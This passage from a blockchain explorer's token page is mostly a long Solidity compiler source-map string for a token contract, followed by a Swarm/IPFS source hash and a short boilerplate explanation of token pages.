;;;;;;:10;:23;;;;;;;;10137:331;;;10203:249;10448:3;10203:218;10282:19;;10268:11;;:33;10267:131;;10381:17;;10267:131;;;10334:15;;10203:11;;:37;:218::i;:249::-;10185:267;;10137:331;-1:-1:-1;;;;;10489:24:0;;;;;;:10;:24;;;;;;;;10488:25;:53;;;;-1:-1:-1;;;;;;10518:23:0;;;;;;:10;:23;;;;;;;;10517:24;10488:53;10484:113;;;10580:1;10562:19;;10484:113;10662:4;10613:28;6584:18;;;:9;:18;;;;;;10683:13;;;;;:180;;-1:-1:-1;10862:1:0;10751:90;-1:-1:-1;;;;;;;;;;10751:90:0;:::i;:::-;-1:-1:-1;;;;;10718:123:0;;;;10717:146;10683:180;-1:-1:-1;10901:10:0;;-1:-1:-1;;;10901:10:0;;;;10900:11;:55;;;;-1:-1:-1;;;;;;10932:23:0;;;;;;:10;:23;;;;;;;;10900:55;:91;;;;-1:-1:-1;10976:15:0;;-1:-1:-1;;;10976:15:0;;;;10900:91;:154;;;;;11035:19;;11012:20;:42;10900:154;:209;;;;;11089:20;;11075:11;;:34;10900:209;10878:398;;;11144:116;11183:58;11187:11;11200:40;11204:20;11226:13;;11200:3;:40::i;:::-;11183:3;:58::i;:::-;11144:16;:116::i;:::-;-1:-1:-1;;;;;11294:23:0;;;;;;:10;:23;;;;;;;;11290:61;;;11319:32;11329:21;11319:9;:32::i;:::-;8882:2481;8744:2619;11373:19;11395:23;11407:11;11395:9;:23;:::i;:::-;11373:45;-1:-1:-1;11435:19:0;;11431:230;;11516:4;11498:24;;;;:9;:24;;;;;;:77;;11545:15;11498:28;:77::i;:::-;11489:4;11471:24;;;;:9;:24;;;;;;;:104;;;;11595:54;;-1:-1:-1;;;;;11595:54:0;;;;;;;11633:15;1361:25:1;;1349:2;1334:18;;1215:177;11595:54:0;;;;;;;;11431:230;-1:-1:-1;;;;;11697:23:0;;;;;;:9;:23;;;;;;:40;;11725:11;11697:27;:40::i;:::-;-1:-1:-1;;;;;11671:23:0;;;;;;:9;:23;;;;;:66;11773:84;11814:32;:11;11830:15;11814;:32::i;:::-;-1:-1:-1;;;;;11773:22:0;;;;;;:9;:22;;;;;;;:26;:84::i;:::-;-1:-1:-1;;;;;11748:22:0;;;;;;;:9;:22;;;;;:109;;;;11873:119;;;11949:32;:11;11965:15;11949;:32::i;:::-;11873:119;;1361:25:1;;;1349:2;1334:18;11873:119:0;;;;;;;8110:3890;;;;;7985:4015;;;:::o;1477:224::-;1597:7;1633:12;1625:6;;;;1617:29;;;;-1:-1:-1;;;1617:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1657:9:0;1669:5;1673:1;1669;:5;:::i;:::-;1657:17;1477:224;-1:-1:-1;;;;;1477:224:0:o;1709:246::-;1767:7;1791:1;1796;1791:6;1787:47;;-1:-1:-1;1821:1:0;1814:8;;1787:47;1844:9;1856:5;1860:1;1856;:5;:::i;:::-;1844:17;-1:-1:-1;1889:1:0;1880:5;1884:1;1844:17;1880:5;:::i;:::-;:10;1872:56;;;;-1:-1:-1;;;1872:56:0;;12140:2:1;1872:56:0;;;12122:21:1;12179:2;12159:18;;;12152:30;12218:34;12198:18;;;12191:62;-1:-1:-1;;;12269:18:1;;;12262:31;12310:19;;1872:56:0;11938:397:1;1872:56:0;1946:1;1709:246;-1:-1:-1;;;1709:246:0:o;1963:132::-;2021:7;2048:39;2052:1;2055;2048:39;;;;;;;;;;;;;;;;;:3;:39::i;12008:107::-;12065:7;12097:1;12093;:5;12092:15;;12106:1;12092:15;;;-1:-1:-1;12102:1:0;12008:107;-1:-1:-1;12008:107:0:o;12747:539::-;5655:10;:17;;-1:-1:-1;;;;5655:17:0;-1:-1:-1;;;5655:17:0;;;12846:16:::1;::::0;;12860:1:::1;12846:16:::0;;;;;::::1;::::0;;-1:-1:-1;;12846:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;12846:16:0::1;12822:40;;12891:4;12873;12878:1;12873:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12873:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;12917:22:::1;::::0;:29:::1;::::0;;-1:-1:-1;;;12917:29:0;;;;:22;;;::::1;::::0;:27:::1;::::0;:29:::1;::::0;;::::1;::::0;12873:7;;12917:29;;;;;:22;:29:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12907:4;12912:1;12907:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;12907:39:0;;::::1;:7;::::0;;::::1;::::0;;;;;:39;12989:22:::1;::::0;12957:69:::1;::::0;12974:4:::1;::::0;12989:22:::1;13014:11:::0;12957:8:::1;:69::i;:::-;13037:22;::::0;:241:::1;::::0;-1:-1:-1;;;13037:241:0;;-1:-1:-1;;;;;13037:22:0;;::::1;::::0;:87:::1;::::0;:241:::1;::::0;13143:11;;13037:22:::1;::::0;13193:4;;13224::::1;::::0;13248:15:::1;::::0;13037:241:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5695:10:0;:18;;-1:-1:-1;;;;5695:18:0;;;-1:-1:-1;;;;12747:539:0:o;12652:87::-;12706:8;;:25;;-1:-1:-1;;;;;12706:8:0;;;;:25;;;;;12724:6;;12706:8;:25;:8;:25;12724:6;12706:8;:25;;;;;;;;;;;;;;;;;;;;;12652:87;:::o;1146:179::-;1204:7;;1236:5;1240:1;1236;:5;:::i;:::-;1224:17;;1265:1;1260;:6;;1252:46;;;;-1:-1:-1;;;1252:46:0;;13791:2:1;1252:46:0;;;13773:21:1;13830:2;13810:18;;;13803:30;13869:29;13849:18;;;13842:57;13916:18;;1252:46:0;13589:351:1;1333:136:0;1391:7;1418:43;1422:1;1425;1418:43;;;;;;;;;;;;;;;;;:3;:43::i;2103:223::-;2223:7;2258:12;2251:5;2243:28;;;;-1:-1:-1;;;2243:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2282:9:0;2294:5;2298:1;2294;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;703:315;771:6;779;832:2;820:9;811:7;807:23;803:32;800:52;;;848:1;845;838:12;800:52;887:9;874:23;906:31;931:5;906:31;:::i;:::-;956:5;1008:2;993:18;;;;980:32;;-1:-1:-1;;;703:315:1:o;1397:456::-;1474:6;1482;1490;1543:2;1531:9;1522:7;1518:23;1514:32;1511:52;;;1559:1;1556;1549:12;1511:52;1598:9;1585:23;1617:31;1642:5;1617:31;:::i;:::-;1667:5;-1:-1:-1;1724:2:1;1709:18;;1696:32;1737:33;1696:32;1737:33;:::i;:::-;1397:456;;1789:7;;-1:-1:-1;;;1843:2:1;1828:18;;;;1815:32;;1397:456::o;2255:247::-;2314:6;2367:2;2355:9;2346:7;2342:23;2338:32;2335:52;;;2383:1;2380;2373:12;2335:52;2422:9;2409:23;2441:31;2466:5;2441:31;:::i;2507:388::-;2575:6;2583;2636:2;2624:9;2615:7;2611:23;2607:32;2604:52;;;2652:1;2649;2642:12;2604:52;2691:9;2678:23;2710:31;2735:5;2710:31;:::i;:::-;2760:5;-1:-1:-1;2817:2:1;2802:18;;2789:32;2830:33;2789:32;2830:33;:::i;:::-;2882:7;2872:17;;;2507:388;;;;;:::o;2900:356::-;3102:2;3084:21;;;3121:18;;;3114:30;3180:34;3175:2;3160:18;;3153:62;3247:2;3232:18;;2900:356::o;3261:127::-;3322:10;3317:3;3313:20;3310:1;3303:31;3353:4;3350:1;3343:15;3377:4;3374:1;3367:15;3393:416;3482:1;3519:5;3482:1;3533:270;3554:7;3544:8;3541:21;3533:270;;;3613:4;3609:1;3605:6;3601:17;3595:4;3592:27;3589:53;;;3622:18;;:::i;:::-;3672:7;3662:8;3658:22;3655:55;;;3692:16;;;;3655:55;3771:22;;;;3731:15;;;;3533:270;;;3537:3;3393:416;;;;;:::o;3814:806::-;3863:5;3893:8;3883:80;;-1:-1:-1;3934:1:1;3948:5;;3883:80;3982:4;3972:76;;-1:-1:-1;4019:1:1;4033:5;;3972:76;4064:4;4082:1;4077:59;;;;4150:1;4145:130;;;;4057:218;;4077:59;4107:1;4098:10;;4121:5;;;4145:130;4182:3;4172:8;4169:17;4166:43;;;4189:18;;:::i;:::-;-1:-1:-1;;4245:1:1;4231:16;;4260:5;;4057:218;;4359:2;4349:8;4346:16;4340:3;4334:4;4331:13;4327:36;4321:2;4311:8;4308:16;4303:2;4297:4;4294:12;4290:35;4287:77;4284:159;;;-1:-1:-1;4396:19:1;;;4428:5;;4284:159;4475:34;4500:8;4494:4;4475:34;:::i;:::-;4545:6;4541:1;4537:6;4533:19;4524:7;4521:32;4518:58;;;4556:18;;:::i;:::-;4594:20;;3814:806;-1:-1:-1;;;3814:806:1:o;4625:140::-;4683:5;4712:47;4753:4;4743:8;4739:19;4733:4;4712:47;:::i;4770:168::-;4843:9;;;4874;;4891:15;;;4885:22;;4871:37;4861:71;;4912:18;;:::i;5230:277::-;5297:6;5350:2;5338:9;5329:7;5325:23;5321:32;5318:52;;;5366:1;5363;5356:12;5318:52;5398:9;5392:16;5451:5;5444:13;5437:21;5430:5;5427:32;5417:60;;5473:1;5470;5463:12;5864:251;5934:6;5987:2;5975:9;5966:7;5962:23;5958:32;5955:52;;;6003:1;6000;5993:12;5955:52;6035:9;6029:16;6054:31;6079:5;6054:31;:::i;7041:306::-;7129:6;7137;7145;7198:2;7186:9;7177:7;7173:23;7169:32;7166:52;;;7214:1;7211;7204:12;7166:52;7243:9;7237:16;7227:26;;7293:2;7282:9;7278:18;7272:25;7262:35;;7337:2;7326:9;7322:18;7316:25;7306:35;;7041:306;;;;;:::o;10066:128::-;10133:9;;;10154:11;;;10151:37;;;10168:18;;:::i;10901:125::-;10966:9;;;10987:10;;;10984:36;;;11000:18;;:::i;11386:135::-;11425:3;11446:17;;;11443:43;;11466:18;;:::i;:::-;-1:-1:-1;11513:1:1;11502:13;;11386:135::o;11526:185::-;-1:-1:-1;;;;;11647:10:1;;;11635;;;11631:27;;11670:12;;;11667:38;;;11685:18;;:::i;:::-;11667:38;11526:185;;;;:::o;11716:217::-;11756:1;11782;11772:132;;11826:10;11821:3;11817:20;11814:1;11807:31;11861:4;11858:1;11851:15;11889:4;11886:1;11879:15;11772:132;-1:-1:-1;11918:9:1;;11716:217::o;12472:127::-;12533:10;12528:3;12524:20;12521:1;12514:31;12564:4;12561:1;12554:15;12588:4;12585:1;12578:15;12604:980;12866:4;12914:3;12903:9;12899:19;12945:6;12934:9;12927:25;12971:2;13009:6;13004:2;12993:9;12989:18;12982:34;13052:3;13047:2;13036:9;13032:18;13025:31;13076:6;13111;13105:13;13142:6;13134;13127:22;13180:3;13169:9;13165:19;13158:26;;13219:2;13211:6;13207:15;13193:29;;13240:1;13250:195;13264:6;13261:1;13258:13;13250:195;;;13329:13;;-1:-1:-1;;;;;13325:39:1;13313:52;;13420:15;;;;13385:12;;;;13361:1;13279:9;13250:195;;;-1:-1:-1;;;;;;;13501:32:1;;;;13496:2;13481:18;;13474:60;-1:-1:-1;;;13565:3:1;13550:19;13543:35;13462:3;12604:980;-1:-1:-1;;;12604:980:1:o

Swarm Source

ipfs://7b45e09fb42a5022f9de82259892b502a67958045c9853d71347df35025e7dc0
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.